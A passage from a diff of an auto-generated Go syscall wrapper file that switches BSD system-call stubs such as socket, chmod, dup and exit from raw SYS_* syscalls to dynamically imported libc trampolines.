getgroups(ngid int, gid *_Gid_t) (n int, err error) { return } +var libc_getgroups_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getgroups getgroups "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setgroups(ngid int, gid *_Gid_t) (err error) { - _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) + _, _, e1 := syscall_rawSyscall(libc_setgroups_trampoline_addr, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setgroups_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setgroups setgroups "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) { - r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0) + r0, _, e1 := syscall_syscall6(libc_wait4_trampoline_addr, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0) wpid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -45,10 +53,14 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err return } +var libc_wait4_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_wait4 wait4 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) { - r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) + r0, _, e1 := syscall_syscall(libc_accept_trampoline_addr, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -56,30 +68,42 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) { return } +var libc_accept_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_accept accept "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { - _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen)) + _, _, e1 := syscall_syscall(libc_bind_trampoline_addr, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_bind_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_bind bind "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { - _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen)) + _, _, e1 := syscall_syscall(libc_connect_trampoline_addr, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_connect_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_connect connect "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socket(domain int, typ int, proto int) (fd int, err error) { - r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto)) + r0, _, e1 := syscall_rawSyscall(libc_socket_trampoline_addr, uintptr(domain), uintptr(typ), uintptr(proto)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -87,66 +111,94 @@ func socket(domain int, typ int, proto int) (fd int, err error) { return } +var libc_socket_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_socket socket "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) { - _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0) + _, _, e1 := syscall_syscall6(libc_getsockopt_trampoline_addr, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getsockopt_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getsockopt getsockopt "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) { - _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0) + _, _, e1 := syscall_syscall6(libc_setsockopt_trampoline_addr, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setsockopt_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setsockopt setsockopt "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { - _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) + _, _, e1 := syscall_rawSyscall(libc_getpeername_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getpeername_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpeername getpeername "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { - _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) + _, _, e1 := syscall_rawSyscall(libc_getsockname_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getsockname_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getsockname getsockname "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Shutdown(s int, how int) (err error) { - _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0) + _, _, e1 := syscall_syscall(libc_shutdown_trampoline_addr, uintptr(s), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_shutdown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_shutdown shutdown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) { - _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0) + _, _, e1 := syscall_rawSyscall6(libc_socketpair_trampoline_addr, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_socketpair_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_socketpair socketpair "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) { @@ -156,7 +208,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen))) + r0, _, e1 := syscall_syscall6(libc_recvfrom_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -164,6 +216,10 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl return } +var libc_recvfrom_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_recvfrom recvfrom "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) { @@ -173,17 +229,21 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) ( } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen)) + _, _, e1 := syscall_syscall6(libc_sendto_trampoline_addr, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_sendto_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sendto sendto "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) { - r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) + r0, _, e1 := syscall_syscall(libc_recvmsg_trampoline_addr, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -191,10 +251,14 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) { return } +var libc_recvmsg_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_recvmsg recvmsg "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) { - r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) + r0, _, e1 := syscall_syscall(libc_sendmsg_trampoline_addr, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -202,10 +266,14 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) { return } +var libc_sendmsg_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sendmsg sendmsg "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) { - r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout))) + r0, _, e1 := syscall_syscall6(libc_kevent_trampoline_addr, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -213,6 +281,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne return } +var libc_kevent_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_kevent kevent "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func utimes(path string, timeval *[2]Timeval) (err error) { @@ -221,27 +293,35 @@ func utimes(path string, timeval *[2]Timeval) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0) + _, _, e1 := syscall_syscall(libc_utimes_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_utimes_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_utimes utimes "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func futimes(fd int, timeval *[2]Timeval) (err error) { - _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0) + _, _, e1 := syscall_syscall(libc_futimes_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_futimes_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_futimes futimes "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func poll(fds *PollFd, nfds int, timeout int) (n int, err error) { - r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout)) + r0, _, e1 := syscall_syscall(libc_poll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -249,6 +329,10 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) { return } +var libc_poll_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_poll poll "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Madvise(b []byte, behav int) (err error) { @@ -258,13 +342,17 @@ func Madvise(b []byte, behav int) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav)) + _, _, e1 := syscall_syscall(libc_madvise_trampoline_addr, uintptr(_p0), uintptr(len(b)), uintptr(behav)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_madvise_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_madvise madvise "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlock(b []byte) (err error) { @@ -274,23 +362,31 @@ func Mlock(b []byte) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0) + _, _, e1 := syscall_syscall(libc_mlock_trampoline_addr, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mlock_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mlock mlock "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlockall(flags int) (err error) { - _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall(libc_mlockall_trampoline_addr, uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mlockall_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mlockall mlockall "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mprotect(b []byte, prot int) (err error) { @@ -300,13 +396,17 @@ func Mprotect(b []byte, prot int) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot)) + _, _, e1 := syscall_syscall(libc_mprotect_trampoline_addr, uintptr(_p0), uintptr(len(b)), uintptr(prot)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mprotect_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mprotect mprotect "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Msync(b []byte, flags int) (err error) { @@ -316,13 +416,17 @@ func Msync(b []byte, flags int) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags)) + _, _, e1 := syscall_syscall(libc_msync_trampoline_addr, uintptr(_p0), uintptr(len(b)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_msync_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_msync msync "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlock(b []byte) (err error) { @@ -332,33 +436,45 @@ func Munlock(b []byte) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0) + _, _, e1 := syscall_syscall(libc_munlock_trampoline_addr, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_munlock_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_munlock munlock "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlockall() (err error) { - _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0) + _, _, e1 := syscall_syscall(libc_munlockall_trampoline_addr, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_munlockall_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_munlockall munlockall "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pipe2(p *[2]_C_int, flags int) (err error) { - _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0) + _, _, e1 := syscall_rawSyscall(libc_pipe2_trampoline_addr, uintptr(unsafe.Pointer(p)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_pipe2_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pipe2 pipe2 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getdents(fd int, buf []byte) (n int, err error) { @@ -368,7 +484,7 @@ func Getdents(fd int, buf []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf))) + r0, _, e1 := syscall_syscall(libc_getdents_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -376,6 +492,10 @@ func Getdents(fd int, buf []byte) (n int, err error) { return } +var libc_getdents_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getdents getdents "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getcwd(buf []byte) (n int, err error) { @@ -385,7 +505,7 @@ func Getcwd(buf []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0) + r0, _, e1 := syscall_syscall(libc_getcwd_trampoline_addr, uintptr(_p0), uintptr(len(buf)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -393,16 +513,24 @@ func Getcwd(buf []byte) (n int, err error) { return } +var libc_getcwd_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getcwd getcwd "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ioctl(fd int, req uint, arg uintptr) (err error) { - _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg)) + _, _, e1 := syscall_syscall(libc_ioctl_trampoline_addr, uintptr(fd), uintptr(req), uintptr(arg)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_ioctl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_ioctl ioctl "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) { @@ -412,17 +540,21 @@ func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen)) + _, _, e1 := syscall_syscall6(libc_sysctl_trampoline_addr, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_sysctl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sysctl sysctl "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { - r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) + r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -430,6 +562,10 @@ func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, return } +var libc_ppoll_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_ppoll ppoll "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Access(path string, mode uint32) (err error) { @@ -438,23 +574,31 @@ func Access(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_access_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_access_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_access access "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Adjtime(delta *Timeval, olddelta *Timeval) (err error) { - _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0) + _, _, e1 := syscall_syscall(libc_adjtime_trampoline_addr, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_adjtime_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_adjtime adjtime "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chdir(path string) (err error) { @@ -463,13 +607,17 @@ func Chdir(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_chdir_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chdir chdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chflags(path string, flags int) (err error) { @@ -478,13 +626,17 @@ func Chflags(path string, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) + _, _, e1 := syscall_syscall(libc_chflags_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chflags_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chflags chflags "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chmod(path string, mode uint32) (err error) { @@ -493,13 +645,17 @@ func Chmod(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_chmod_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chmod_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chmod chmod "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chown(path string, uid int, gid int) (err error) { @@ -508,13 +664,17 @@ func Chown(path string, uid int, gid int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) + _, _, e1 := syscall_syscall(libc_chown_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chown chown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chroot(path string) (err error) { @@ -523,27 +683,35 @@ func Chroot(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_chroot_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chroot_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chroot chroot "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Close(fd int) (err error) { - _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0) + _, _, e1 := syscall_syscall(libc_close_trampoline_addr, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_close_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_close close "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup(fd int) (nfd int, err error) { - r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0) + r0, _, e1 := syscall_syscall(libc_dup_trampoline_addr, uintptr(fd), 0, 0) nfd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -551,33 +719,49 @@ func Dup(fd int) (nfd int, err error) { return } +var libc_dup_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_dup dup "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup2(from int, to int) (err error) { - _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0) + _, _, e1 := syscall_syscall(libc_dup2_trampoline_addr, uintptr(from), uintptr(to), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_dup2_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_dup2 dup2 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup3(from int, to int, flags int) (err error) { - _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags)) + _, _, e1 := syscall_syscall(libc_dup3_trampoline_addr, uintptr(from), uintptr(to), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_dup3_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_dup3 dup3 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Exit(code int) { - Syscall(SYS_EXIT, uintptr(code), 0, 0) + syscall_syscall(libc_exit_trampoline_addr, uintptr(code), 0, 0) return } +var libc_exit_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_exit exit "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) { @@ -586,43 +770,59 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_faccessat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_faccessat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_faccessat faccessat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchdir(fd int) (err error) { - _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0) + _, _, e1 := syscall_syscall(libc_fchdir_trampoline_addr, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchdir fchdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchflags(fd int, flags int) (err error) { - _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0) + _, _, e1 := syscall_syscall(libc_fchflags_trampoline_addr, uintptr(fd), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchflags_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchflags fchflags "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmod(fd int, mode uint32) (err error) { - _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_fchmod_trampoline_addr, uintptr(fd), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchmod_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchmod fchmod "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) { @@ -631,23 +831,31 @@ func Fchmodat(dirfd int, path string, mode 